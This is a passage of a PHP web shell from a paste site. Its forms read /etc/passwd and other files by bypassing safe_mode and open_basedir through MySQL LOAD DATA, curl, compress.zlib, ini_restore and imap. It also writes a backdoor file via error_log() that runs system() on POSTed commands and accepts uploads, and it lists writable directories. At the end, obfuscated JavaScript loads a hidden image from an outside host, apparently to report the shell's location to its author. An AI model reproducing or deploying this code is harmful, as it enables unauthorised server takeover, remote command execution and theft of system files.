  745.             $css = ($css == 'input') ? " class=\"input\"" : "";
  746.             $input = "<select name=switch><option value=file>View file</option><option value=dir>View dir</option></select>";
  747.             return $input;
  748.         }
  749.         function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){
  750.             $textarea = "<textarea name=\"".$name."\" cols=\"".$cols."\" rows=\"".$rows."\" ".$extra.">".$content."</textarea>\n";
  751.             return $textarea;
  752.         }
  753.  
  754.         function formfooter($over='',$height=''){
  755.             $height = empty($height) ? "" : " height=\"".$height."\"";
  756.             echo "  <tr class=\"secondalt\">\n";
  757.             echo "  <td align=\"center\"".$height."><input class=\"input\" type=\"submit\" value='mohajer'></td>\n";
  758.             echo "  </tr>\n";
  759.             echo " </form>\n";
  760.             echo $end = empty($over) ? "" : "</table>\n";
  761.         }
  762.  
  763.         function makeselect($arg = array()){
  764.             if ($arg[multiple]==1) {
  765.                 $multiple = " multiple";
  766.                 if ($arg[size]>0) {
  767.                     $size = "size=$arg[size]";
  768.                 }
  769.             }
  770.             if ($arg[css]==0) {
  771.                 $css = "class=\"input\"";
  772.             }
  773.             $select = "<select $css name=\"$arg[name]\"$multiple $size>\n";
  774.                 if (is_array($arg[option])) {
  775.                     foreach ($arg[option] AS $key=>$value) {
  776.                         if (!is_array($arg[selected])) {
  777.                             if ($arg[selected]==$key) {
  778.                                 $select .= "<option value=\"$key\" selected>$value</option>\n";
  779.                             } else {
  780.                                 $select .= "<option value=\"$key\">$value</option>\n";
  781.                             }
  782.  
  783.                         } elseif (is_array($arg[selected])) {
  784.                             if ($arg[selected][$key]==1) {
  785.                                 $select .= "<option value=\"$key\" selected>$value</option>\n";
  786.                             } else {
  787.                                 $select .= "<option value=\"$key\">$value</option>\n";
  788.                             }
  789.                         }
  790.                     }
  791.                 }
  792.             $select .= "</select>\n";
  793.             return $select;
  794.         }
  795.     }
  796.  
  797.  
  798.  
  799. $tb->tableheader();
  800. $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Exploit: read file [SQL , id , CURL , copy , ini_restore , imap]    & Make file ERORR</b></td></tr></table>','center','top');
  801. $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>');
  802.  
  803.  
  804. $tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file :</FONT><br>' .$tb->makeinput('Mohajer22','/etc/passwd' ).$tb->makeinput('',Show,'Mohajer22','submit')));
  805. $tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file id:</FONT><br>' .$tb->makeid('plugin','cat /etc/passwd' ).$tb->makeinput('',Show,'plugin','submit')));
  806. $tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file CURL:</FONT><br>' .$tb->makeinput('curl','/etc/passwd' ).$tb->makeinput('',Show,'curl','submit')));
  807. $tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file copy:</FONT><br>' .$tb->makeinput('copy','/etc/passwd' ).$tb->makeinput('',Show,'copy','submit')));
  808. $tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file ini_restore:</FONT><br>' .$tb->makeinput('M2','/etc/passwd' ).$tb->makeinput('',Show,'M2','submit')));
  809. $tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>read file or dir with imap:</FONT><br>' .$tb->makeimp('switch','/etc/passwd' ).$tb->makeinput('string','/etc/passwd' ).$tb->makeinput('string','Show','','submit')));
  810. $tb->headerform(array('content'=>'<FONT COLOR=#9C9C9C>Make file ERORR:</FONT><br>' .$tb->makeinput('ER','Mohajer22.php' ).$tb->makeinput('ER','Write','ER','submit')));
  811.  
  812. // read file SQL ( ) //
  813. if(empty($_POST['Mohajer22'])){
  814. } else {
  815. echo "read file SQL","<br>" ;
  816. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  817. $file=$_POST['Mohajer22'];
  818.  
  819.  
  820. $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
  821. $mysql_files = explode(':', $mysql_files_str);
  822.  
  823. $sql = array (
  824. "USE $mdb",
  825. 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
  826. "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
  827. . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
  828. . "ESCAPED BY          '' "
  829. . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
  830.  
  831. "SELECT a FROM $tbl LIMIT 1"
  832. );
  833. mysql_connect ($mhost, $muser, $mpass);
  834.  
  835.                                 foreach ($sql as $statement) {
  836.                                    $q = mysql_query ($statement);
  837.  
  838.                                    if ($q == false) die (
  839.                                       "FAILED: " . $statement . "\n" .
  840.                                       "REASON: " . mysql_error () . "\n"
  841.                                    );
  842.  
  843.                                    if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
  844.  
  845.                                    echo htmlspecialchars($r[0]);
  846.                                    mysql_free_result ($q);
  847.                                 }
  848. echo "</textarea>";
  849. }
  850. // ERORR //
  851. if(empty($_POST['ER'])){
  852. } else {
  853. $ERORR=$_POST['ER'];
  854. echo  error_log("
  855. <html>
  856. <head>
  857. <title> Exploit: error_log() By * erne   * </title>
  858. <body bgcolor=\"#000000\">
  859. <table Width='100%' height='10%' bgcolor='#D0D0D0' border='1'>
  860. <tr>
  861. <td><center><font size='6' color='#BBB516'> By  erne </font></center></td>
  862. </tr>
  863. </table>
  864. <font color='#9C9C9C'>
  865. </head>
  866. <?
  867. if(\$fileup == \"\"){
  868. ECHO \" reade for up \";
  869. }else{
  870. \$path= exec(\"pwd\");
  871. \$path .= \"/\$fileup_name\";
  872. \$CopyFile = copy(\$fileup,\"\$path\");
  873. if(\$CopyFile){
  874. echo \" up ok \";
  875. }else{
  876. echo \" no up \";
  877. }
  878. }
  879. if(empty(\$_POST['m'])){
  880. } else {
  881. \$m=\$_POST['m'];
  882. echo  system(\$m);
  883. }
  884. if(empty(\$_POST['cmd'])){
  885. } else {
  886. \$h=  \$_POST['cmd'];
  887. print include(\$h) ;
  888. }
  889. ?>
  890. <form method='POST' enctype='multipart/form-data' >
  891. <input type='file' name='fileup' size='20'>
  892. <input type='submit' value='  up  '>
  893. </form>
  894. <form method='POST'  >
  895. <input type='cmd' name='cmd' size='20'>
  896. <input type='submit' value='  open (shill.txt) '>
  897. </form>
  898. <form method='POST' enctype='multipart/form-data' >
  899. <input type='text' name='m' size='20'>
  900. <input type='submit' value='  run  '>
  901. <input type='reset' value=' reset '>
  902. </form>
  903. ", 3,$ERORR);
  904. }
  905.  
  906. // id //
  907. if ($_POST['plugin'] ){
  908. echo "read file id" ,"<br>";
  909. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  910.  
  911.  
  912.  
  913.                                            for($uid=0;$uid<60000;$uid++){   //cat /etc/passwd
  914.                                         $ara = posix_getpwuid($uid);
  915.                                                 if (!empty($ara)) {
  916.                                                   while (list ($key, $val) = each($ara)){
  917.                                                     print "$val:";
  918.                                                   }
  919.                                                   print "\n";
  920.                                                 }
  921.                                         }
  922.                                  echo "</textarea>";
  923.                                 break;
  924.  
  925.  
  926.                                              }
  927.  
  928.  
  929. // CURL //
  930. if(empty($_POST['curl'])){
  931.  
  932. } else {
  933. echo "read file CURL","<br>" ;
  934. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  935. $m=$_POST['curl'];
  936. $ch =
  937. curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__);
  938. curl_exec($ch);
  939. var_dump(curl_exec($ch));
  940. echo "</textarea>";
  941. }
  942.  
  943. // copy//
  944. $u1p="";
  945. $tymczas="";
  946. if(empty($_POST['copy'])){
  947. } else {
  948. echo "read file copy" ,"<br>";
  949. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  950. $u1p=$_POST['copy'];
  951. $temp=tempnam($tymczas, "cx");
  952. if(copy("compress.zlib://".$u1p, $temp)){
  953. $zrodlo = fopen($temp, "r");
  954. $tekst = fread($zrodlo, filesize($temp));
  955. fclose($zrodlo);
  956. echo "".htmlspecialchars($tekst)."";
  957. unlink($temp);
  958. echo "</textarea>";
  959. } else {
  960. die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
  961. <B>".htmlspecialchars($u1p)."</B> dosen't exists or you don't have
  962. access.</CENTER></FONT>");
  963. }
  964. }
  965.  
  966. /// ini_restore //
  967. if(empty($_POST['M2'])){
  968. } else {
  969. echo "read file ini_restore","<br> ";
  970. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  971. $m=$_POST['M2'];
  972. echo ini_get("safe_mode");
  973. echo ini_get("open_basedir");
  974. $s=readfile("$m");
  975. ini_restore("safe_mode");
  976. ini_restore("open_basedir");
  977. echo ini_get("safe_mode");
  978. echo ini_get("open_basedir");
  979. $s=readfile("$m");
  980. echo "</textarea>";
  981. }
  982.  
  983. // imap //
  984.  
  985. $string = !empty($_POST['string']) ? $_POST['string'] : 0;
  986. $switch = !empty($_POST['switch']) ? $_POST['switch'] : 0;
  987.  
  988. if ($string && $switch == "file") {
  989. echo "read file imap" ,"<br>";
  990. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  991.  
  992. $stream = imap_open($string, "", "");
  993.  
  994. $str = imap_body($stream, 1);
  995. if (!empty($str))
  996. echo "<pre>".$str."</pre>";
  997. imap_close($stream);
  998. echo "</textarea>";
  999. } elseif ($string && $switch == "dir") {
  1000. echo "read  dir imap","<br>" ;
  1001. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  1002.  
  1003. $stream = imap_open("/etc/passwd", "", "");
  1004. if ($stream == FALSE)
  1005. die("Can't open imap stream");
  1006. $string = explode("|",$string);
  1007. if (count($string) > 1)
  1008. $dir_list = imap_list($stream, trim($string[0]), trim($string[1]));
  1009. else
  1010. $dir_list = imap_list($stream, trim($string[0]), "*");
  1011. echo "<pre>";
  1012. for ($i = 0; $i < count($dir_list); $i++)
  1013. echo "$dir_list[$i]"."<p>&nbsp;</p>" ;
  1014. echo "</pre>";
  1015. imap_close($stream);
  1016. echo "</textarea>";
  1017. }
  1018. $tb->tdbody ("</td></tr></table>");
  1019. // open dir //
  1020. $tb->tableheader();
  1021. $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Exploit: Open dir </b></td></tr></table>','center','top');
  1022. $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>');
  1023.  
  1024. if(empty($_POST['m'])){
  1025. echo "<div><FORM method='POST' action='$REQUEST_URI' enctype='multipart/form-data'>
  1026. <table id=tb><tr><td><FONT COLOR=\"#9B9B9B\">path dir</FONT>
  1027. <INPUT type='text' name='m' size=70 value='./'>
  1028. <INPUT type='submit' value='show' id=input></td></tr></table></form></div>";
  1029.  
  1030. } else {
  1031. $m=$_POST['m'];
  1032. $spath = $m ;
  1033. $path = $m ;
  1034.  
  1035.  
  1036.  
  1037.  
  1038.         $method = intval(trim($_POST['method']));
  1039.  
  1040.         $handle = opendir($path);
  1041.  
  1042.         $_folders = array();
  1043.  
  1044.         $i = 0;
  1045.  
  1046.         while (false !== ($file = readdir($handle)))
  1047.         {
  1048.                 $full_path = "$path/$file";
  1049.                 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
  1050.  
  1051.                 if ((is_dir($full_path)) && ($perms == '0777'))
  1052.                 {
  1053.                         if (!file_exists('.*')) {
  1054.  
  1055.                                 $_folders[$i] = $file;
  1056.  
  1057.                                 $i++;
  1058.                         }
  1059.                 }
  1060.         }
  1061.  
  1062.  
  1063.         closedir($handle);
  1064.         clearstatcache();
  1065.  
  1066.  
  1067.  
  1068.         echo '<strong><FONT COLOR=#9B9B9B>The folders is 777 :</strong><br />';
  1069.  
  1070.         foreach ($_folders as $folder)
  1071.         {
  1072.                 echo $folder.'<br />';
  1073.         }
  1074. //////////
  1075. $handle = opendir($path);
  1076.  
  1077.         $_folders = array();
  1078.  
  1079.         $i = 0;
  1080.  
  1081.  while (false !== ($file1 = readdir($handle)))
  1082.         {
  1083.                 $full_path = "$path/$file1";
  1084.                 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
  1085.  
  1086.                 if ((is_dir($full_path)) && ($perms == '0755'))
  1087.                 {
  1088.                         if (!file_exists('.*')) {
  1089.  
  1090.                                 $_folders[$i] = $file1;
  1091.  
  1092.                                 $i++;
  1093.                         }
  1094.                 }
  1095.         }
  1096.  
  1097.  
  1098.  
  1099.         clearstatcache();
  1100.  
  1101.  
  1102.  
  1103.         echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 755 :</strong><br />';
  1104.  
  1105.         foreach ($_folders as $folder)
  1106.         {
  1107.                 echo $folder.'<br />';
  1108.         }
  1109. //////////
  1110. $handle = opendir($path);
  1111.  
  1112.         $_folders = array();
  1113.  
  1114.         $i = 0;
  1115.  
  1116.  while (false !== ($file1 = readdir($handle)))
  1117.         {
  1118.                 $full_path = "$path/$file1";
  1119.                 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
  1120.  
  1121.                 if ((is_dir($full_path)) && ($perms == '0644'))
  1122.                 {
  1123.                         if (!file_exists('.*')) {
  1124.  
  1125.                                 $_folders[$i] = $file1;
  1126.  
  1127.                                 $i++;
  1128.                         }
  1129.                 }
  1130.         }
  1131.  
  1132.  
  1133.  
  1134.         clearstatcache();
  1135.  
  1136.  
  1137.  
  1138.         echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 644 :</strong><br />';
  1139.  
  1140.         foreach ($_folders as $folder)
  1141.         {
  1142.                 echo $folder.'<br />';
  1143.         }
  1144. //////////
  1145. $handle = opendir($path);
  1146.  
  1147.         $_folders = array();
  1148.  
  1149.         $i = 0;
  1150.  
  1151.  while (false !== ($file1 = readdir($handle)))
  1152.         {
  1153.                 $full_path = "$path/$file1";
  1154.                 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
  1155.  
  1156.                 if ((is_dir($full_path)) && ($perms == '0750'))
  1157.                 {
  1158.                         if (!file_exists('.*')) {
  1159.  
  1160.                                 $_folders[$i] = $file1;
  1161.  
  1162.                                 $i++;
  1163.                         }
  1164.                 }
  1165.         }
  1166.  
  1167.  
  1168.  
  1169.         clearstatcache();
  1170.  
  1171.  
  1172.  
  1173.         echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 750 :</strong><br />';
  1174.  
  1175.         foreach ($_folders as $folder)
  1176.         {
  1177.                 echo $folder.'<br />';
  1178.         }
  1179. //////////
  1180. $handle = opendir($path);
  1181.  
  1182.         $_folders = array();
  1183.  
  1184.         $i = 0;
  1185.  
  1186.  while (false !== ($file1 = readdir($handle)))
  1187.         {
  1188.                 $full_path = "$path/$file1";
  1189.                 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
  1190.  
  1191.                 if ((is_dir($full_path)) && ($perms == '0604'))
  1192.                 {
  1193.                         if (!file_exists('.*')) {
  1194.  
  1195.                                 $_folders[$i] = $file1;
  1196.  
  1197.                                 $i++;
  1198.                         }
  1199.                 }
  1200.         }
  1201.  
  1202.  
  1203.  
  1204.         clearstatcache();
  1205.  
  1206.  
  1207.  
  1208.         echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 604 :</strong><br />';
  1209.  
  1210.         foreach ($_folders as $folder)
  1211.         {
  1212.                 echo $folder.'<br />';
  1213.         }
  1214. //////////
  1215. $handle = opendir($path);
  1216.  
  1217.         $_folders = array();
  1218.  
  1219.         $i = 0;
  1220.  
  1221.  while (false !== ($file1 = readdir($handle)))
  1222.         {
  1223.                 $full_path = "$path/$file1";
  1224.                 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
  1225.  
  1226.                 if ((is_dir($full_path)) && ($perms == '0705'))
  1227.                 {
  1228.                         if (!file_exists('.*')) {
  1229.  
  1230.                                 $_folders[$i] = $file1;
  1231.  
  1232.                                 $i++;
  1233.                         }
  1234.                 }
  1235.         }
  1236.  
  1237.  
  1238.  
  1239.         clearstatcache();
  1240.  
  1241.  
  1242.  
  1243.         echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 705 :</strong><br />';
  1244.  
  1245.         foreach ($_folders as $folder)
  1246.         {
  1247.                 echo $folder.'<br />';
  1248.         }
  1249. //////////
  1250. $handle = opendir($path);
  1251.  
  1252.         $_folders = array();
  1253.  
  1254.         $i = 0;
  1255.  
  1256.  while (false !== ($file1 = readdir($handle)))
  1257.         {
  1258.                 $full_path = "$path/$file1";
  1259.                 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
  1260.  
  1261.                 if ((is_dir($full_path)) && ($perms == '0606'))
  1262.                 {
  1263.                         if (!file_exists('.*')) {
  1264.  
  1265.                                 $_folders[$i] = $file1;
  1266.  
  1267.                                 $i++;
  1268.                         }
  1269.                 }
  1270.         }
  1271.  
  1272.  
  1273.  
  1274.         clearstatcache();
  1275.  
  1276.  
  1277.  
  1278.         echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 606 :</strong><br />';
  1279.  
  1280.         foreach ($_folders as $folder)
  1281.         {
  1282.                 echo $folder.'<br />';
  1283.         }
  1284. //////////
  1285. $handle = opendir($path);
  1286.  
  1287.         $_folders = array();
  1288.  
  1289.         $i = 0;
  1290.  
  1291.  while (false !== ($file1 = readdir($handle)))
  1292.         {
  1293.                 $full_path = "$path/$file1";
  1294.                 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
  1295.  
  1296.                 if ((is_dir($full_path)) && ($perms == '0703'))
  1297.                 {
  1298.                         if (!file_exists('.*')) {
  1299.  
  1300.                                 $_folders[$i] = $file1;
  1301.  
  1302.                                 $i++;
  1303.                         }
  1304.                 }
  1305.         }
  1306.  
  1307.  
  1308.  
  1309.         clearstatcache();
  1310.  
  1311.  
  1312.  
  1313.         echo '</FONT><strong><FONT COLOR=#9B9B9B>The folders is 703 :</strong><br />';
  1314.  
  1315.         foreach ($_folders as $folder)
  1316.         {
  1317.                 echo $folder.'<br />';
  1318.         }
  1319.  
  1320.  
  1321.  
  1322.   }
  1323.     $handle = opendir($path);
  1324.  
  1325.         $_folders = array();
  1326.  
  1327.         $i = 0;
  1328.  
  1329.  while (false !== ($file1 = readdir($handle)))
  1330.         {
  1331.                 $full_path = "$path/$file1";
  1332.                 $perms = substr(sprintf('%o', fileperms($full_path)), -4);
  1333.  
  1334.  
  1335.  
  1336.  
  1337.                                 $_folders[$i] = $file1;
  1338.  
  1339.                                 $i++;
  1340.  
  1341.  
  1342.         }
  1343.  
  1344.  
  1345.  
  1346.         clearstatcache();
  1347.  
  1348.  
  1349.  
  1350.         echo '</FONT><strong><FONT COLOR=#9B9B9B>www.alturks.com :</strong><br />';
  1351.  
  1352.         foreach ($_folders as $folder)
  1353.         {
  1354.                 echo $folder.'<br />';
  1355.         }
  1356.  
  1357.         echo '</FONT><strong><FONT COLOR=#9C9C9C>ernealizm: </strong>'.$i.'</FONT><br />';
  1358. $tb->tdbody ("</td></tr></table>");
  1359.  
  1360. $tb->tableheader();
  1361. $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>Exploit: break fucking safe-mode </b></td></tr></table>','center','top');
  1362. $tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>');
  1363.  
  1364.  
  1365.   error_reporting(E_WARNING);
  1366.   ini_set("display_errors", 1);
  1367.  
  1368.   echo "<head><title>".getcwd()."</title></head>";
  1369.  
  1370.   echo "<form method=POST>";
  1371.   echo "<div style='float: left'><FONT COLOR=\"#9B9B9B\">Root directory: </FONT><input type=text name=root value='{$_POST['root']}'></div>";
  1372.   echo "<input type=submit value='--&raquo;'></form>";
  1373.  
  1374.  
  1375.  
  1376.   // break fucking safe-mode !
  1377.  
  1378.   $root = "/";
  1379.  
  1380.   if($_POST['root']) $root = $_POST['root'];
  1381.  
  1382.   if (!ini_get('safe_mode')) die("<font size=-2 face=verdana color='#9B9B9B'>Safe-mode is OFF.</font>");
  1383. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  1384.   $c = 0; $D = array();
  1385.   set_error_handler("eh");
  1386.  
  1387.   $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  1388.  
  1389.   for($i=0; $i < strlen($chars); $i++){
  1390.   $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
  1391.  
  1392.   $prevD = $D[count($D)-1];
  1393.   glob($path."*");
  1394.  
  1395.         if($D[count($D)-1] != $prevD){
  1396.  
  1397.         for($j=0; $j < strlen($chars); $j++){
  1398.  
  1399.            $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
  1400.  
  1401.            $prevD2 = $D[count($D)-1];
  1402.            glob($path."*");
  1403.  
  1404.               if($D[count($D)-1] != $prevD2){
  1405.  
  1406.  
  1407.                  for($p=0; $p < strlen($chars); $p++){
  1408.  
  1409.                  $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
  1410.  
  1411.                  $prevD3 = $D[count($D)-1];
  1412.                  glob($path."*");
  1413.  
  1414.                     if($D[count($D)-1] != $prevD3){
  1415.  
  1416.  
  1417.                        for($r=0; $r < strlen($chars); $r++){
  1418.  
  1419.                        $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
  1420.                        glob($path."*");
  1421.  
  1422.                        }
  1423.  
  1424.                     }
  1425.  
  1426.                  }
  1427.  
  1428.               }
  1429.  
  1430.         }
  1431.  
  1432.         }
  1433.  
  1434.   }
  1435.  
  1436.   $D = array_unique($D);
  1437.  
  1438.  
  1439.   foreach($D as $item) echo "{$item}\n";
  1440.  
  1441.  
  1442.  
  1443.  
  1444.  
  1445.   function eh($errno, $errstr, $errfile, $errline){
  1446.  
  1447.      global $D, $c, $i;
  1448.      preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
  1449.      if($o){ $D[$c] = $o[2]; $c++;}
  1450.  
  1451.   }
  1452.   echo "</textarea>";
  1453. $tb->tdbody ("</td></tr></table>");
  1454. ?>
  1455. <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement